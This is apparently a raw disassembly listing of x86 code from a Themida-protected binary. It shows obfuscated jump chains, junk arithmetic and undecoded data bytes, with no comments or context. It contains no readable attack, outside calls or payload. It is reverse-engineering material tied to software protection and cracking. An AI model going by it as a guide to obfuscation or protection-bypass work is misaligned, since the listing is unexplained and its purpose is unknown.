		add	ebp, 622B4483h
		pop	ecx
		xor	ebp, 0A1CBD7EAh
		sub	edi, ebp
		pop	ebp
		add	edi, ebx
		add	edi, 44C426DBh
		pop	ebx
		jmp	loc_54B621
; ---------------------------------------------------------------------------
		db 0F7h, 0D8h, 0E9h
		dd 0FFFFAD25h
; ---------------------------------------------------------------------------


loc_548B00:				; CODE XREF: Themida_:0054E199j
		push	2E4973FFh
		jmp	loc_543240
; ---------------------------------------------------------------------------
		dw 0FF54h
		dd 52592434h, 0C281E289h, 4, 8704C283h,	525C2414h, 535596BAh
		dd 0BB534Eh, 81000000h,	630FF1C3h, 1740E968h, 0E1890000h
		dd 4DD5E9h, 24248B00h, 0E9242C89h, 1398h, 8B240487h, 2CD32424h
		dd 0EE99C24h, 88FFFFA6h, 48BCE9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548B5E:				; CODE XREF: Themida_:00549FE8j
		add	esp, 4
		pop	ebp
		push	413Bh
		mov	[esp], esi
		push	7AFh
		mov	[esp], ebp
		jmp	loc_544A9E
; ---------------------------------------------------------------------------
aFpsA		db 'fPa',0
		align 2
		dw 15Eh
		dd 44EA81DAh, 8165A26Dh, 0E73C91C2h, 4EC8175h, 89000000h
		dd 8BE9241Ch, 0BFFFFFE3h, 5FB23A7Fh, 1EF814Fh, 0E941946Fh
		dd 635Ch, 0DEE2E95Ah, 8155FFFFh, 54182404h, 0AE96D48h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548BBF:				; CODE XREF: Themida_:0054747Dj
		push	5C50h
		mov	[esp], ecx
		mov	cl, 0F0h
		add	dh, 36h
		add	dh, cl
		jmp	loc_548FDD
; ---------------------------------------------------------------------------


loc_548BD3:				; CODE XREF: Themida_:0054F447j
		push	eax
		mov	eax, 6AE532C2h
		sub	eax, 0FDB1B66h
		shr	eax, 7
		dec	eax
		shl	eax, 7
		jmp	loc_543C98
; ---------------------------------------------------------------------------
		dw 515Ah
		dd 0E98038B1h, 0FFB450D5h, 48BE100h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_546486
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0C4815924h, 4, 815B5453h,	4C3h, 7EE95100h
		dd 0ADFFFFCAh, 0B97DE957h, 5352FFFFh, 176FC3BBh, 9041BA69h
		dd 6EE996E8h, 81000026h, 4ECh, 3777E900h, 43050000h, 5972872Dh
		dd 0C231C331h, 3655E9h,	4EA2BD00h, 32E932E1h, 8100000Ch
		dd 0E4B28DC7h, 5FFA01BFh, 3304C283h, 14312414h,	24143324h
		dd 0A4EBE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548C7A:				; CODE XREF: Themida_:0054E08Cj
		jz	loc_545CC0
		sub	esp, 4
		jmp	loc_547056
; ---------------------------------------------------------------------------
		dd 0C05DE95Ah, 0C681FFFFh, 4, 8B243487h, 5F682424h, 89000061h
		dd 55E9242Ch, 1000041h,	1FB951EBh, 0E90EF44Ch, 0FFFFBFA7h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	4679h
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_547699
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC812404h, 4, 0BBFFE954h, 8B66FFFFh, 0D7E92404h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548CF3:				; CODE XREF: Themida_:00546C4Aj
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 3C797AFCh
		sub	ecx, 52681854h
		sub	ecx, 0AA9C4E0Bh
		sub	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	edx
		push	esp
		jmp	loc_548272
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 0C1810000h, 9F55B8Dh, 0BA52C101h, 9F55B8Dh, 0C2E9D129h
		dd 81FFFFC3h, 0BB56E5E7h, 0D7B9512Fh, 41509B27h, 65ACE9h
		dd 2045B700h, 6103E9FAh, 0E9560000h, 6454h, 24048B66h
		dd 22C16856h, 4890000h,	5E08924h, 4, 42Dh, 24048700h, 2424895Ch
		dd 4240483h, 0FAE9555Eh
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548D83:				; CODE XREF: Themida_:00543582j
		shr	ebx, 1
		jmp	loc_54AF60
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 14BDh, 4B07E3C1h, 8904EC83h,	0E2E9243Ch, 80FFFFC1h
		dd 0E9526AE9h, 1EC7h
; ---------------------------------------------------------------------------


loc_548DA8:				; CODE XREF: Themida_:0054565Bj
		add	ecx, eax
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 5972613Bh
		dec	edx
		jmp	loc_54D0F9
; ---------------------------------------------------------------------------
		dd 4D9AE981h, 0D9F72E01h, 0E1C1D9F7h, 1802E907h, 0E95D0000h
		dd 0FFFFABC0h, 0A4FFF181h, 34054646h, 29040139h, 39342DC8h
		dd 34FF0401h, 2434FF24h, 4C48159h, 83000000h, 0D82904C4h
		dd 6807D405h, 0BD555630h, 3359065Eh, 4A97E956h,	68660000h
		dd 89661C77h, 0BE662434h, 3166759Ah, 348B66F0h,	59545124h
		dd 1D93E9h, 6855AD00h, 3893h, 0E9240C89h, 0FFFFB4CDh, 51242C89h
		dd 0B829CEB9h, 0E9CD897Ah, 8E3h, 8395F281h, 0D5896653h
		dd 0FFA798E9h, 48B66FFh, 0CFBEE924h, 0DDF7FFFFh, 2C78BA52h
		dd 0D5217012h, 0FFC529E9h, 241489FFh, 68h, 15E95A00h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548E77:				; CODE XREF: Themida_:0054AE0Aj
		sub	eax, 3501E1Dh
		sub	edi, eax
		pop	eax
		jmp	loc_54D5D8
; ---------------------------------------------------------------------------


loc_548E84:				; CODE XREF: Themida_:0054F48Aj
		add	edi, 27CC5B0Fh
		pop	ecx
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 29D45D0Eh
		jmp	loc_5490FE
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 1000000h, 36DBE9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548EAA:				; CODE XREF: Themida_:00546774j
		pop	esp
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54F363
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 83000000h,	1C8704C3h, 0E8215C24h, 0FFEB9EE9h
		dd 2434FFFFh, 81242C8Bh, 4C4h, 4C48300h, 3F28E9h, 0C4835800h
		dd 0E1895104h, 4C181h, 0C1810000h, 4, 5C240C87h, 0F55FE955h
		dd 4BAFFFFh, 0E9000000h, 307Fh,	5390C381h, 0C3810EE2h
		dd 584222D1h, 0BAEB815Dh, 811E4404h, 9730C1CBh,	0ECCE963h
		dd 0D6F70000h, 0B6E1EE81h, 0F3013C74h, 81C3015Eh, 2F418EEBh
		dd 0C3835875h, 241C3302h, 0FFA3E3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548F49:				; CODE XREF: Themida_:005496ACj
		pop	edx
		jmp	loc_5486B6
; ---------------------------------------------------------------------------


loc_548F4F:				; CODE XREF: Themida_:0054E866j
		push	5726h
		jmp	loc_54C058
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0C4h
		dd 1124C04h, 0C4C681FEh, 8B124C04h, 0C483243Ch,	4BB5304h
		dd 81000000h, 8577B3EEh, 81DE015Dh, 8577B3C6h, 241C8B5Dh
		dd 4C481h, 34870000h, 0C2095C24h, 4268E2D1h, 0E9000068h
		dd 4AB2h, 0C581E589h, 4, 0FFAE83E9h, 15F368FFh,	9DE90000h
		dd 100003Ch, 815D5DE8h,	2D1B27C3h, 0C6BA520Fh, 0F7054E18h
		dd 0C14242D2h, 0EA8107E2h, 249D68FFh, 735DC381h, 0D3291F84h
		dd 0E32E9h
		db 0
; ---------------------------------------------------------------------------


loc_548FDD:				; CODE XREF: Themida_:00548BCEj
		sub	dh, 36h
		jmp	loc_543B82
; ---------------------------------------------------------------------------
		db 83h,	0C2h, 4
		dd 5C241487h, 6CBB5356h, 0BE223913h, 22391368h,	15BDE31h
		dd 24348BF0h, 0E904C483h, 0FFFFFD82h
; ---------------------------------------------------------------------------


loc_549008:				; CODE XREF: Themida_:005448FDj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54F4BA
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4C5h, 4C58100h, 0E9000000h, 489Bh, 89F08950h, 24048BC3h
		dd 4C481h, 348B0000h, 4C48324h,	6193F381h, 5F093543h, 241C8B1Ch
		dd 4C481h, 65680000h, 89000024h, 2C81241Ch, 7749D424h
		dd 241C8B52h, 6804C483h, 4178h,	68240489h, 5C3676DDh, 2A506858h
		dd 0AAE90000h, 81000020h, 4C4h,	0F67DE900h, 0B951FFFFh
		dd 2E9254A8h, 42E1E9h, 240C8B00h, 0FFE452E9h, 1C68FFh
		dd 48B0000h, 4C48324h, 110AE9h,	4C18100h, 87000000h, 0E95C240Ch
		dd 5628h, 4C481h, 4FE90000h, 51FFFFEFh,	780868h, 241C8900h
		dd 0E9B1B252h, 0FFFFD40Ch, 0F266851h, 81593BAEh, 1C64C4E9h
		dd 283E681Bh, 34890000h, 1A2FBE24h, 33E907C1h, 57FFFFC6h
		dd 5E2CEEBFh, 0EF0BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5490FE:				; CODE XREF: Themida_:00548E99j
		push	eax
		mov	eax, 35286F5Dh
		push	esi
		push	edx
		mov	edx, 60DC750Fh
		add	edx, 1D7F193Bh
		sub	edx, 669748Bh
		xor	edx, 510D29DCh
		add	edx, 4033F803h
		mov	esi, edx
		pop	edx
		or	esi, 47DC70F5h
		sub	esp, 4
		mov	[esp], esi
		not	dword ptr [esp]
		jmp	loc_545BF4
; ---------------------------------------------------------------------------
		db 64h,	0FFh, 32h
		dd 0FFD42CE9h, 240489FFh, 0FEB8h, 1FFDE900h, 71BD0000h
		dd 4D7E3111h, 5DFAC581h, 0E58135C6h, 4FAE6B7Dh,	4667F581h
		dd 0A8E93C74h, 29FFFFEDh, 348758C6h, 0EE07E924h, 51ACFFFFh
		dd 0FFF6B5E9h, 0C8B66FFh, 5A996824h, 1C890000h,	0E9E38924h
		dd 20E5h, 243C335Bh, 33243C31h,	248B243Ch, 9CC13824h, 0FF9FBCE9h
		dd 0B6E9C3FFh, 0B8FFFF9Fh, 502F439Ah, 1C022035h, 28982D43h
		dd 0A30D7EE7h, 0E930D205h, 42Bh, 2D04E0C1h, 20102CDCh
		dd 5718E9h, 0E9EA8900h,	0FFFFBAEEh, 2674E95Ah, 248B0000h
		dd 14896624h, 9C506624h, 0FF9F74E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5491F1:				; CODE XREF: Themida_:0054DDBDj
		mov	[esp], ebp
		mov	ebp, 5BE8700Eh
		mov	edi, 0B2CCFF9Ch
		add	edi, ebp
		pop	ebp
		shr	edi, 1
		jmp	loc_549487
; ---------------------------------------------------------------------------
		dd 5995EA80h, 0FFF716E9h, 0F5E950FFh, 0BD00001Dh, 2, 4327EF81h
		dd 0EF017DD0h, 83EE9h, 4C48300h, 2B850h, 0C6010000h, 74FF5658h
		dd 0E95E0424h, 0FFFFAD13h, 24048B66h, 5AE1E9h, 14F75500h
		dd 2FE95D24h, 5B000031h, 26F3BD55h, 8145227Ah, 0C1CE68EDh
		dd 0FD4DE91Ch, 3C89FFFFh, 5D86BF24h, 57514F51h,	8122E2BFh
		dd 0FB895309h, 5F5BD989h, 0E2AE9h, 0B9C68100h, 0E92DA73Eh
		dd 3EDDh, 240C8B66h, 50E9h, 48B90500h, 55F397Ch, 4, 5C240487h
		dd 8124048Bh, 4ECh, 242C8900h, 0EC83E589h, 241C8904h, 4BBh
		dd 0E9DD0100h, 46ADh, 0FF242C89h, 5D042474h, 8B24048Fh
		dd 8B662424h, 68532404h, 5BDh, 24048F54h, 3A6FE9h, 4EC8300h
		dd 54240489h, 49A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5492F1:				; CODE XREF: Themida_:0054ECD3j
		sub	edx, 385A0265h
		neg	edx
		xor	edx, 7C50021Dh
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_547512
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 8704C183h, 875C240Ch,	835C2434h, 31E904ECh
		dd 8300001Bh, 148704C2h, 0CD815C24h, 32305FB9h,	58A2BE56h
		dd 0F509477Fh, 5EDC15Eh, 0C108E5C1h, 2E903EDh, 8100004Ch
		dd 4C7h, 4C78100h, 87000000h, 815C243Ch, 1DF94C7h, 5FF901EEh
		dd 4C181h, 0C870000h, 0EF6BE924h, 815FFFFFh, 2A30F6F5h
		dd 5DF5815Fh, 815EE62Ah, 0B62F58EDh, 5DEF89A2h,	1C781h
		dd 0EF810000h, 2ADD772Ah, 875FFB01h, 5C241Ch, 0E99C2404h
		dd 0FFFF9DBDh, 5F15E3B9h, 0DCC1816Ah, 81189A25h, 1C1h
		dd 0FDE18100h, 8136AA03h, 2171F2E9h, 3E9C106h, 0D23DF181h
		dd 0BE561F90h, 74342AEEh, 0FFB823E9h, 4C481FFh,	0E9000000h
		dd 3C2h
; ---------------------------------------------------------------------------


loc_5493E4:				; CODE XREF: Themida_:0054A900j
		mov	eax, [esp]
		jmp	loc_54E87C
; ---------------------------------------------------------------------------
		dd 0F680585Bh, 5AF388A2h, 0B8E9D828h, 81FFFFE9h, 83712DE5h
		dd 0D5F74D2Bh, 5004E5C1h, 2661EB8h, 0E9C5311Ch,	23FFh
		dd 709E957h, 0F8280000h, 44BCE9h
		db 0
; ---------------------------------------------------------------------------


loc_549421:				; CODE XREF: Themida_:0054583Ej
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shl	ebx, 8
		add	ebx, 4623B8ECh
		sub	eax, ebx
		pop	ebx
		add	eax, 563D1C91h
		sub	eax, ecx
		jmp	loc_5463C2
; ---------------------------------------------------------------------------


loc_549441:				; CODE XREF: Themida_:0054E90Cj
		mov	esi, 55B82FD5h
		sub	esi, 730F7741h
		xor	esi, 0E2A8B888h
		push	eax
		mov	eax, esi
		mov	ebx, eax
		push	dword ptr [esp]
		jmp	loc_5497CA
; ---------------------------------------------------------------------------
		db 5Dh
		dd 52D5F758h, 4327F5BAh, 6A8E969h, 0F5810000h, 511F2351h
		dd 2404FF55h, 0ECF5815Dh, 12EE058h, 9BE95DE9h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549487:				; CODE XREF: Themida_:00549203j
		push	ebp
		mov	ebp, 2B6F7066h
		add	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_543983
; ---------------------------------------------------------------------------
		db 58h
		dd 301DE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5494A2:				; CODE XREF: Themida_:00546494j
		or	cl, ah
		pop	ax
		sub	cl, 7Fh
		add	cl, 91h
		add	al, 76h
		jmp	loc_5483AB
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C241Ch, 1A6Ch, 0E9241C89h, 0FFFFE3D6h, 5504C483h
		dd 0C5815D54h, 4, 2B6DBE56h, 814649D8h,	496672E6h, 66F68100h
		dd 29004822h, 2C875EF5h, 0A5E95C24h, 53000015h,	42CCE9h
		dd 243C8700h, 2424895Ch, 1550E9h, 58C30100h, 8704C383h
		dd 835C241Ch, 3C8904ECh, 0E8A9E924h, 0E289FFFFh, 4C281h
		dd 0BE560000h, 3FC679D1h, 0B22E955h, 0EF810000h, 55EC5075h
		dd 0D3F7DF87h, 0EF81DF87h, 4D5B0BF0h, 7C48B92Dh, 2F9CE939h
		dd 3ABA0000h, 8132DF3Ah, 9B289CCAh, 0B865E95Ch,	0E281FFFFh
		dd 368C53BFh, 67F2814Ah, 8962CC5Bh, 24148BD0h, 504C483h
		dd 0F4266Dh, 8E8C148h, 0B335D0F7h, 0E9DBCEF5h, 0FFFFE922h
		dd 4240483h, 5724048Bh,	0C781E789h, 4, 8704C783h, 55C243Ch
		dd 4, 64C4BB53h, 7E902CAh, 8100002Bh, 0A33076C3h, 0E9FB0138h
		dd 0FFFFC1C0h, 4B850h, 0C6290000h, 74FF5658h, 8F5E0424h
		dd 248B2404h, 24048924h, 0EC83E089h, 24148904h,	4BAh, 5AD00100h
		dd 0E904E883h, 0FFFFCF92h, 57242C89h, 414901BFh, 26E95262h
		dd 0F7000022h, 2D2805D8h, 2BE9E180h, 89000024h,	4C781E7h
		dd 83000000h, 13E904EFh, 4FFFFBCh, 4842C37h, 2CC828C2h
		dd 0E98404C2h, 3FF1h, 15AF381h,	0EBC12764h, 0F1E38102h
		dd 81609C7Ah, 0CAA936C3h, 5BDE01FBh, 4EC81h, 3C890000h
		dd 0BD9AE924h, 48BFFFFh, 4C48324h, 0EA81C201h, 1C8B795Bh
		dd 0FF9B0CE9h, 0AAE952FFh, 0F7FFFFA6h, 0FAF581DDh, 1914CB2h
		dd 27E95DEEh, 1FFFFE1h,	5E082474h, 15D0E9h, 1CE3BA00h
		dd 0BF573276h, 5536298h, 0F75FFA21h, 4F77E9D2h,	5F5A0000h
		dd 4A0CE9h, 0EC835B00h,	28C6E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54969E:				; CODE XREF: Themida_:0054EA20j
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	dl, bl
		mov	ch, dl
		jmp	loc_548F49
; ---------------------------------------------------------------------------
		db 0B9h, 1, 0
		dd 0C8210000h, 0E92434FFh, 5705h, 51F8045Bh, 0FFF39CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5496C9:				; CODE XREF: Themida_:005449B6j
		push	eax
		mov	eax, 6CCB6D4Dh
		jmp	loc_547970
; ---------------------------------------------------------------------------


loc_5496D4:				; CODE XREF: Themida_:0054B635j
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		add	esi, 4
		jmp	loc_54A517
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFF9A51h, 0C2B252ACh
		dd 47CFE9h, 2FDDBD00h, 90E95A68h, 59FFFFC2h, 2A06EB81h
		dd 3CE91385h, 5200001Ah, 3E3CECBAh, 8BD60160h, 75E92414h
		dd 56FFFFF9h, 0E117B4BEh, 0EEC14E4Dh, 7EEE8103h, 8117F91Dh
		dd 3CFA8CC6h, 0D7C7810Eh, 0E9195943h, 0FFFFF237h, 8302C383h
		dd 1C8904ECh, 0DDFBE924h, 5753FFFFh, 5A4BBA52h,	0E2813F94h
		dd 5BCF763Bh, 0F6F1EA81h, 8152FEB8h, 4FC242Ch, 815F5E9Eh
		dd 9E04FCC7h, 7C015A5Eh, 585F0424h, 371468h, 0E2EFE900h
		dd 0BB53FFFFh, 4, 535BDD01h, 9F5FF1BBh,	6E3C168h, 240C8753h
		dd 28E9D1F7h, 30000056h, 4F96E9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5497CA:				; CODE XREF: Themida_:0054945Aj
		mov	eax, [esp]
		jmp	loc_54A3DC
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4C781E7h, 81000000h,	4C7h, 243C8700h, 82E9575Ch, 8F000038h
		dd 248B2404h, 0C8B6624h, 0E6895624h, 4C681h, 51570000h
		dd 1C01A9B9h, 6E1C13Dh,	1191BF57h, 0EFD166FFh, 8103EFC1h
		dd 696534E7h, 3CC78152h, 1FDF612h, 0C2E95FF9h, 5DFFFFA4h
		dd 6693E181h, 0C18143D6h, 0BEE608B6h, 0FFFEFAE9h, 7E952FFh
		dd 0F7FFFFFDh, 7E8C1D8h, 5F472D35h, 8E0C14Dh, 5ABDDE05h
		dd 58C329F3h, 28C0BD55h, 0C5813946h, 0D6F3328Ch, 5452E9h
		dd 24343300h, 33243431h, 0E95C2434h, 0FFFFC51Fh, 338EC781h
		dd 0EF813DE9h, 0EC8FDAF4h, 835FFB01h, 1C3304EBh, 241C3124h
		dd 0FFA96EE9h, 88E581FFh, 0C1143429h, 0F58104EDh, 34A311C9h
		dd 3B12E952h, 34870000h, 24248B24h, 0FF98B4E9h,	0A0CE81FFh
		dd 52628A5Fh, 0B16063BAh, 5AD60162h, 401E981h, 0C1813F37h
		dd 2F347DC6h, 2E9F101h,	57FFFFCAh, 0BCF8E952h, 86E9FFFFh
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5498DF:				; CODE XREF: Themida_:00547C04j
		mov	bh, 0Bh
		jmp	loc_54DD61
; ---------------------------------------------------------------------------
aYqJaxSR	db 'YQj,R',0
		align 2
		dw 77FFh
		dd 2434FF3Ch, 4E30E9h, 5F3D6800h, 1C890000h, 1CBB24h, 0BE560000h
		dd 56DF4BECh, 0FFDCA8E9h, 58C729FFh, 0E4E9FD01h, 89FFFFE6h
		dd 8E868E6h, 1C890000h,	28E9BB24h, 514B5977h, 0E26117B9h
		dd 59CB211Ah, 68h, 241C2900h, 83241C8Bh, 24E904C4h, 8B000022h
		dd 0C4812434h, 4, 4C681h, 0C6830000h, 24343304h, 33243431h
		dd 248B2434h, 68E1F724h, 5063h,	0FFE7B6E9h, 504368FFh
		dd 34890000h, 3CE96824h, 3C890000h, 7268BF24h, 6DE954A1h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54998F:				; CODE XREF: Themida_:005482DCj
		push	ebp
		jmp	loc_5433B5
; ---------------------------------------------------------------------------
		db 51h,	0B1h, 45h
		dd 0F624F180h, 0C5C180D9h, 0C980C9FEh, 81E980EFh, 8859CA28h
		dd 0B312E9D7h, 1C33FFFFh, 9EC5E924h, 0E981FFFFh, 68876C31h
		dd 5B62E981h, 2C8B6ACAh, 4C48324h, 0EAE95057h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5499D3:				; CODE XREF: Themida_:005436E5j
		xchg	ebx, [esp]
		jmp	loc_54C455
; ---------------------------------------------------------------------------
		db 1
		dd 0B456E9D6h, 5266FFFFh, 7E9E7B6h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5499EB:				; CODE XREF: Themida_:0054F46Ej
		xor	edx, 16A14ABFh
		shr	edx, 8
		xor	edx, 96B61B4Dh
		jmp	loc_5439EA
; ---------------------------------------------------------------------------


loc_5499FF:				; CODE XREF: Themida_:0054B951j
		inc	ebx
		add	ebx, 6C20ED7h
		jmp	loc_54BB2A
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC812434h, 4, 0A7ACE957h, 875DFFFFh, 55D2F7D5h, 0E172E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549A26:				; CODE XREF: Themida_:0054EF99j
		add	edx, 57596420h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_54E904
; ---------------------------------------------------------------------------


loc_549A38:				; CODE XREF: Themida_:0054ABF1j
		mov	ecx, 0B791B3Ah
		add	eax, ecx
		jmp	loc_5452A8
; ---------------------------------------------------------------------------
		dd 0C107E8C1h, 943504E8h, 0E9579304h, 0FFFFFEC1h, 0E95E5456h
		dd 2C89h, 1B74C681h, 3CE95040h,	53FFFFD3h, 0D04327BBh
		dd 0E9DF017Dh, 0FFFFA50Ch, 5524048Fh, 518AE9h
		db 0
; ---------------------------------------------------------------------------


loc_549A7D:				; CODE XREF: Themida_:00543F0Dj
		push	eax
		jmp	loc_54A939
; ---------------------------------------------------------------------------
		db 89h
		dd 1AE92414h, 8100002Dh, 0FE3E1F3h, 59ED81A5h, 13D0068h
		dd 59C581DDh, 5B3D0068h, 0FFED47E9h, 0C68166FFh, 1AE9464Dh
		dd 0FFFFFFD6h, 0E9042474h, 0FFFF9A98h, 207F83ADh, 0D5840F00h
		dd 81000004h, 0FA0EB8C6h, 28B95100h, 0E95D3A63h, 0FFFFC83Bh
		dd 4EC81h, 2C890000h, 67685124h, 0E91FAA0Ah, 517Dh, 0E9CBB050h
		dd 36ADh, 0F8885066h, 0C96E9h, 0C8B6600h, 4EC8124h, 0E9000000h
		dd 0FFFFCE24h, 5C243487h, 89F18951h, 5820E9CAh,	0D5310000h
		dd 11DDE9h, 70E95800h, 0BF00002Ch, 4, 875FFB01h, 0FF5C241Ch
		dd 0E99C2404h, 0FFFF962Dh, 0BB535256h, 551C174Eh, 444EC4BAh
		dd 48FCE91Dh, 4B90000h,	81000000h, 0A78DDC3h, 57CB0105h
		dd 464BE9h, 0E9E78900h,	0FFFFF7EBh, 8904EC83h, 46E9242Ch
		dd 88FFFFC9h, 0E78853D4h, 0E95BF988h, 28F6h, 0F706EEC1h
		dd 2AE94ED6h, 0F7FFFFFDh, 68EC2DD0h, 0A5355721h, 0D14E0659h
		dd 74D50DE0h, 3D357D20h, 2D585C1Dh, 0EF2CBAFDh,	4558C521h
		dd 19C0E9h
		db 0
; ---------------------------------------------------------------------------


loc_549BAD:				; CODE XREF: Themida_:005463CDj
		and	esi, 5665C4Fh
		and	esi, 650A4310h
		inc	esi
		add	esi, 523ADC90h
		sub	eax, esi
		pop	esi
		add	eax, 48DB3FECh
		pop	ecx
		push	2B85h
		mov	[esp], esi
		mov	esi, 3D4D439Bh
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	ebp
		jmp	loc_543497
; ---------------------------------------------------------------------------
		dd 976BE9B8h, 890D4004h, 25532502h, 0CFF7CF5h, 0F1F06205h
		dd 0E9C30139h, 3EFEh
; ---------------------------------------------------------------------------


loc_549C10:				; CODE XREF: Themida_:0054BF15j
		shr	ebp, 7
		add	ebp, 7F2121Bh
		shl	ebp, 6
		xor	ebp, 185F3E81h
		mov	ecx, ebp
		pop	ebp
		and	eax, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 68E31401h
		shr	ebp, 2
		shl	ebp, 6
		shr	ebp, 2
		push	edx
		mov	edx, 238C5004h
		xor	ebp, edx
		mov	edx, [esp]
		jmp	loc_54A66D
; ---------------------------------------------------------------------------
		dd 1E0ED6B8h, 58C5294Eh, 0FFDC92E9h, 0C1015BFFh, 4F46E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549C62:				; CODE XREF: Themida_:0054438Cj
		pop	dword ptr [edi+20h]
		push	7E40h
		mov	[esp], eax
		push	ebx
		mov	ebx, 13681711h
		mov	eax, 13681731h
		xor	eax, ebx
		jmp	loc_54C69C
; ---------------------------------------------------------------------------
		db 57h
		dd 7D1F58BFh, 3FF7816Ch, 810CB717h, 4405CC7h, 5FF829E1h
		dd 0DDF7CD2Dh, 8BC701D7h, 0C4832404h, 4C78304h,	31243C33h
		dd 3C33243Ch, 24248B24h, 0A58E9h, 34335D00h, 24343124h
		dd 0E9243433h, 5287h, 0CCC3805Ah, 5066CBFEh, 0C3008DB0h
		dd 0DA885866h, 0E9241C8Bh, 1806h
; ---------------------------------------------------------------------------


loc_549CDC:				; CODE XREF: Themida_:00543BBDj
		push	edx
		mov	dh, 0A6h
		xor	ah, dh
		pop	edx
		mov	bh, ah
		jmp	loc_5447B7
; ---------------------------------------------------------------------------
		align 2
		dw 66EAh
		dd 66FA2859h, 2BE9E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549CF6:				; CODE XREF: Themida_:0054D0FCj
		xchg	ecx, edx
		not	ecx
		jmp	loc_54AFE7
; ---------------------------------------------------------------------------
aBNtrs		db 'Nr+',0
		align 2


loc_549D0A:				; CODE XREF: Themida_:00544C2Bj
		pop	ebp
		jmp	loc_547EF2
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 0EB8004C4h, 0E9C328C6h, 0FFFFCC9Ah, 47B3535Ah
		dd 8029C380h, 0C0E930F3h, 0BE000015h, 51223CDh,	483468h
		dd 97C8E900h, 0E950FFFFh, 0FFFFEFD9h, 8158C631h, 3632CEEh
		dd 0F3C68115h, 52A3EFEh, 0E7B4354h, 10B2E9h, 4B800h, 0C2010000h
		dd 24148758h, 8524248Bh, 0F2E99CC8h, 52FFFF93h,	4BAh, 5AD70100h
		dd 8B243C87h, 0E9F72424h, 143168h, 0A004E900h, 8142FFFFh
		dd 49699EE2h, 0E9EAD12Dh, 3783h, 5C241C87h, 0FF6DEE81h
		dd 0F289F7BDh, 5AD6015Eh, 8904EC83h, 2B9240Ch, 1000000h
		dd 343359CEh, 0BBABE924h, 1C8BFFFFh, 9754E924h,	0B951FFFFh
		dd 0F6924108h, 93E9CD29h, 66FFFFD8h, 0C6E9EE89h, 58000018h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		push	ebp
		mov	ebp, 2FE67941h
		mov	edx, 2FE67945h
		xor	edx, ebp
		jmp	loc_54A885
; ---------------------------------------------------------------------------
		dw 0CB81h
		dd 7FF63F2Eh, 5D33F381h, 45E9BD15h, 0FFFFFFD0h,	0BCE92434h
		dd 81FFFFCAh, 84735DEBh, 2434FF1Fh, 4C4835Ah, 73E9C329h
		dd 66FFFFB8h, 5E0EED05h, 92A2D66h, 0FFD366E9h, 53D831FFh
		dd 595026BBh, 8DEB8119h, 0F7600120h, 4BF0E9DBh,	0B8500000h
